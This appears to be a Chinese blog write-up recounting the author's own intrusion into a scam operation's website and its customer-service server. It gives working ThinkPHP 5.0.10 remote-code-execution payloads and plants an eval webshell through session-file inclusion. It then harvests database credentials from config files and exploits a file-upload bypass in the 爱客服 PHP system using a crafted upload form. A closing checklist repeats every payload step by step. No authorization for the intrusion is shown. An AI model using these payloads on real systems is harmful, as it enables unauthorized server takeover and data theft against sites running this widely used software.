深入诈骗团队
最近接到任务,调查一个诈骗团伙
上面有一个注册接口,直接先注册一个用户看看他们怎么诈骗的
好家伙,用户赚了8个亿,充值过的用户直呼内行。
这种站点一看就是那种诈骗团伙的杀猪盘,使用的那种tp5的框架一键搭建,方便又省事。后来根据报错信息的确是tp5.0.10的框架还开了debug模式,老杀猪盘了。
直接先用tp5rce打出phpinfo看
s=captcha
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
看来禁的函数比较多,这个时候用tp5的rce和写shell就比较困难,使用tp5日志包含和session包含来getshell就十分的方便。
日志包含还需要去找文件,我这里就直接是session包含来getshell
先通过设置session会话并传入一句话木马
?s=captcha
_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['x'])?>&server[]=1
然后直接利用文件包含去包含session文件,tp5的session文件一般都是在/tmp下面,文件名为sess_sessionid
?s=captcha
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=/tmp/sess_0mg7tlcvtmpv06cb732j47chb3&x=phpinfo();
这个时候我们就可以通过蚁剑连上shell了
需要把post传入的参数加在蚁剑连接的http body里面
连上后通过找到config下的database.php找到数据库密码账号
里面还有财务和技术的联系方式
直接登陆后台
好家伙,会员数30人,还有400多个机器人,金额在后台可以随便修改,太欺负人了。
打到这里总感觉信息还有点少啊,只有几个手机号,还有诈骗团伙的用来收款的银行卡,于是我又在运营站上面收集信息,原来客服的站点是其他服务器上面
通过目录扫描找到客服后台
试了一下弱口令,居然连admin这个用户都没有,这管理员意识还挺好的。
拿出我珍藏的字典爆破了一下,也没有发现存在的用户,我猜测他的用户名要么是电话号码,要么就是很长的用户名。
看来进后台是不行的了
然后通过ip反查发现也没有旁站,这个站点只有这个客服系统
扫了一下子域名也没有任何的发现
但是页面下面有一个Powered by 爱客服PHP在线客服系统,我觉得网上应该是有源码的,就去百度了一下,还真有源码。
网站是基于tp二次开发的,但是tp的rce已经没有了。
只有一步步的审计了
翻了很久在application/admin/controller/Event.php文件中找到了一处基于黑名单的上传函数uploadimg
定义一个上传函数uploadimg,然后定义一个变量name来获取到文件名,并用一个点以数组的方式隔开,而通过变量ext来获取到数组的第二个作为检测,当文件传入index.html,$ext=html,html在黑名单内所以就上传不成功,如果是文件传入index.jpg.php,$ext=jpg,jpg没有在黑名单,所以就可以上传成功。
根据tp的路由规则这个上传点应该在/admin/event/uploadimg这个位置
它这个页面没有上传点,只有自己构造一个上传页面了
<form action="http://ip/admin/event/uploadimg" method="post" enctype="multipart/form-data">
<label for="file">晨光客服上传</label>
<input type="file" name="editormd-image-file" id="editormd-image-file">
<input type="submit" name="submit" value="submit">
</form>
如果是上传index.php的话
的确是上传不成功的
如果是上传index.jpg.php
是可以上传成功的
拿下该客服站点
打包后台数据交给jc
在这里呼吁大家千万别相信什么刷单的,叫你充值就可以领钱的,都是假的,千万别想一夜暴富,占什么小便宜,天下没有免费的午餐。这里放几张图给大家看一下
这些诈骗团伙还理直气壮,有理有据,只会叫你越充越多,典型的杀猪盘
渗透总结:
1.注册一个测试账号
2通过报错,发现是tp5.0..10
3.使用TP5RCE查看phpinfo
s=captcha
post:
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
发现危险函数被禁用了
4.使用tp5日志包含和session包含来getshell
5.通过设置session会话并传入一句话木马
?s=captcha
post:
_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['x'])?>&server[]=1
6.利用文件包含去包含session文件,tp5的session文件一般都是在/tmp下面,文件名为sess_sessionid
?s=captcha
post:
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=/tmp/sess_0mg7tlcvtmpv06cb732j47chb3&x=phpinfo();
7.通过蚁剑连上shell,需要把post传入的参数加在蚁剑连接的http body里面
8.通过后台源码查看发现客户服务后台。
9.发现服务后台为爱客服PHP在线客服系统,该系统存在文件上传漏洞
/admin/event/uploadimg
<form action="http://ip/admin/event/uploadimg" method="post" enctype="multipart/form-data">
<label for="file">晨光客服上传</label>
<input type="file" name="editormd-image-file" id="editormd-image-file">
<input type="submit" name="submit" value="submit">
</form>